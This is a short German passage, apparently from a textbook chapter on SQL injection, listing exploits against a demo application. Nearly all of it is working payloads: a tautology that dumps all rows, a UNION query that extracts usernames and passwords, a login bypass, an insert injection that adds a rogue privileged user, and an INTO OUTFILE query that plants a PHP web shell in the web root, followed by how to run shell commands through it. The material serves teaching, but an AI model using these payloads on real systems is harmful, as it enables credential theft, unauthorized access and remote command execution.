Kapitel 6 - SQL Injection

6.6 - Die Demo-Anwendung

Die Exploits:

Alle Einträge ausgeben: id in URL ist
1 OR 1=1--
Benutzer-Tabelle ausgeben: id in URL ist
1 UNION SELECT Benutzer_Name,Real_Name,Passwort,Benutzer_ID FROM benutzer_tabelle;--
Login unterlaufen: Benutzername oder Passwort ist
irgendwas' OR 1=1 --
Neuen Benutzer registrieren: Passwort ist
', 1, 1)--
und
passwort', 0, 0), ('boese', 'boese', 'boese', 1, 1)--
PHP-Skript einschleusen: id in URL ist
1 UNION SELECT 1, 2, '<?php system($_GET[\'cmd\']); ?>', 4 INTO OUTFILE '/var/www/app/shell.php' --
Danach app/shell.php?cmd= mit Shellbefehl dahinter aufrufen, z.B.
app/shell.php?cmd=ls -la